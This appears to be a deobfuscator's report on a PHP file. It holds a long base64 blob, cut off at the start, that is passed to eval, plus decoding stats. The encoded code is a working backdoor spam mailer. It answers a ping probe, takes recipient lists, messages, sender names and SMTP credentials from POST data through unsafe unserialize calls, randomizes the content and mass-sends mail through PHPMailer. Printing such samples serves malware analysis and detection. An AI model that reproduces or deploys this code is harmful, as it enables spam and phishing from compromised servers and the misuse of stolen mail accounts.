dWyRpXSwgJHJhbmQsICRjb250ZW50KTsKICAgIH0KICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVfd29yZCgkbGVuZ3RoKQp7CiAgICAkY2hhcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnl4eic7CiAgICAkbnVtQ2hhcnMgPSBzdHJsZW4oJGNoYXJzKTsKICAgICRzdHJpbmcgPSAnJzsKICAgIGZvcigkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykKICAgIHsKICAgICAgICAkc3RyaW5nIC49IHN1YnN0cigkY2hhcnMsIHJhbmQoMSwgJG51bUNoYXJzKSAtIDEsIDEpOwogICAgfQogICAgcmV0dXJuICRzdHJpbmc7Cn0KCmZ1bmN0aW9uIHBhc3NfbWFjcm9zKCRjb250ZW50LCAkcGFzc2VzKQp7CiAgICAkcGFzcyA9IGFycmF5X3BvcCgkcGFzc2VzKTsKICAgIAogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJbUEFTU10iLCAkcGFzcywgJGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBmdGVpbF9tYWNyb3MoJGNvbnRlbnQsICRmdGVpbCkKeyAgICAKICAgIHJldHVybiBzdHJfcmVwbGFjZSgiW0ZURUlMXSIsICRmdGVpbCwgJGNvbnRlbnQpOwp9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKCmZ1bmN0aW9uIHNlbmRTbXRwTWFpbCggJGhvc3QsICRwb3J0LCAkbG9naW4sICRwYXNzLCAkZnJvbSwgJG5hbWUsICR0bywgJHN1YmplY3QsICRib2R5ICkKewoJdHJ5Cgl7CgkJJG1haWwgPSBuZXcgUEhQTWFpbGVyKHRydWUpOwoJCSRtYWlsLT5Jc1NNVFAoKTsKCQkkbWFpbC0+SG9zdCAgICAgICA9ICRob3N0OwoJCSRtYWlsLT5Qb3J0ICAgICAgID0gJHBvcnQ7CgkJCgkJaWYgKCRwb3J0ID09IDU4NykKCQl7CgkJCSRtYWlsLT5TTVRQU2VjdXJlID0gJ3Rscyc7CgkJfQoJCWVsc2VpZigkcG9ydCA9PSA0NjUpCgkJewoJCQkkbWFpbC0+U01UUFNlY3VyZSA9ICdzc2wnOwoJCX0KCQkKCQkkbWFpbC0+U01UUEF1dGggICA9IHRydWU7CgkJJG1haWwtPlVzZXJuYW1lICAgPSAkbG9naW47CgkJJG1haWwtPlBhc3N3b3JkICAgPSAkcGFzczsKCQkkbWFpbC0+U2V0RnJvbSgkZnJvbSwgJG5hbWUpOwoJCSRtYWlsLT5BZGRSZXBseVRvKCRmcm9tLCAkbmFtZSk7CgkJJG1haWwtPkFkZEFkZHJlc3MoJHRvKTsKCQkkbWFpbC0+U3ViamVjdCA9ICRzdWJqZWN0OwoJCSRtYWlsLT5Nc2dIVE1MKCRib2R5KTsKCgkJaWYgKCEkbWFpbC0+c2VuZCgpKQoJCXsKCQkJcmV0dXJuICRtYWlsLT5FcnJvckluZm87CgkJfQoJCWVsc2UKCQl7CgkJCXJldHVybiAwOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkKCXsKCQlyZXR1cm4gJG1haWwtPkVycm9ySW5mbzsNCgl9Cn0KCmlmIChpc3NldCgkX1BPU1RbInBpbmciXSkpCnsKICAgIGVjaG8gJF9QT1NUWyJwaW5nIl07CiAgICBleGl0KCk7Cn0KCmlmICghaXNzZXQoJF9QT1NUWyJlbWFpbHMiXSkgb3IgIWlzc2V0KCRfUE9TVFsidGhlbWVzIl0pIG9yICFpc3NldCgkX1BPU1RbIm1lc3NhZ2VzIl0pIG9yICFpc3NldCgkX1BPU1RbImZyb21zIl0pIG9yICFpc3NldCgkX1BPU1RbImFjYyJdKSkKewogICAgZXhpdCgpOwp9CgokZW1haWxzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJlbWFpbHMiXSkpOwokdGhlbWVzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ0aGVtZXMiXSkpOwokbWVzc2FnZSA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsibWVzc2FnZXMiXSkpOwokZnJvbXMgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkX1BPU1RbImZyb21zIl0pKTsKJGFjYyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiYWNjIl0pKTsKCiRnb29kID0gMDsKJGJhZCA9IDA7CiRsYXN0X2Vycm9yID0gMDsKCmZvcmVhY2ggKCRlbWFpbHMgYXMgJHVpZD0+JGVtYWlsKQp7CiAgICAkdGhlbWUgPSAkdGhlbWVzW2FycmF5X3JhbmQoJHRoZW1lcyldOwoKICAgICR0aGVtZSA9IGFsdGVyX21hY3JvcygkdGhlbWUpOwogICAgJHRoZW1lID0gbnVtX21hY3JvcygkdGhlbWUpOwogICAgJHRoZW1lID0gdGV4dF9tYWNyb3MoJHRoZW1lKTsKICAgICR0aGVtZSA9IHhudW1fbWFjcm9zKCR0aGVtZSk7CgogICAgJG1lc3NhZ2UgPSBhbHRlcl9tYWNyb3MoJG1lc3NhZ2UpOwogICAgJG1lc3NhZ2UgPSBudW1fbWFjcm9zKCRtZXNzYWdlKTsKICAgICRtZXNzYWdlID0gdGV4dF9tYWNyb3MoJG1lc3NhZ2UpOwogICAgJG1lc3NhZ2UgPSB4bnVtX21hY3JvcygkbWVzc2FnZSk7CiAgICAkbWVzc2FnZSA9IGZ0ZWlsX21hY3JvcygkbWVzc2FnZSwgJHVpZCk7CgogICAgJGZyb20gPSAkZnJvbXNbYXJyYXlfcmFuZCgkZnJvbXMpXTsKICAgICRmcm9tID0gYWx0ZXJfbWFjcm9zKCRmcm9tKTsKICAgICRmcm9tID0gbnVtX21hY3JvcygkZnJvbSk7CiAgICAkZnJvbSA9IHRleHRfbWFjcm9zKCRmcm9tKTsKICAgICRmcm9tID0geG51bV9tYWNyb3MoJGZyb20pOwoKICAgICRsYXN0X2Vycm9yID0gc2VuZFNtdHBNYWlsKCAkYWNjWzBdLCAkYWNjWzFdLCAkYWNjWzJdLCAkYWNjWzNdLCAkYWNjWzRdLCAkZnJvbSwgJGVtYWlsLCAkdGhlbWUsICRtZXNzYWdlKTsKCQoJaWYgKCRsYXN0X2Vycm9yID09PSAwKQoJewoJCSRnb29kKys7Cgl9CgllbHNlCgl7CgkJJGJhZCsrOwoJCSRnb29kID0gY291bnQoJGVtYWlscykgLSAkYmFkOwoJCWJyZWFrOwoJfQp9CgokcmVzWyJyZXN1bHQiXVsiZXJyb3JfdGV4dCJdID0gJGxhc3RfZXJyb3IgPT09IEZBTFNFID8gMCA6ICRsYXN0X2Vycm9yOwokcmVzWyJyZXN1bHQiXVsiZ29vZCJdID0gJGdvb2Q7CiRyZXNbInJlc3VsdCJdWyJiYWQiXSA9ICRiYWQ7CiRyZXNbInJlc3VsdCJdWyJjaGVjayJdID0gMTsKCmVjaG8gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJHJlcykpOwoKZXhpdCgpOw==')); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | be8890edbf942ea277ef07e7070b696f |
| Eval Count | 1 |
| Decode Time | 281 ms |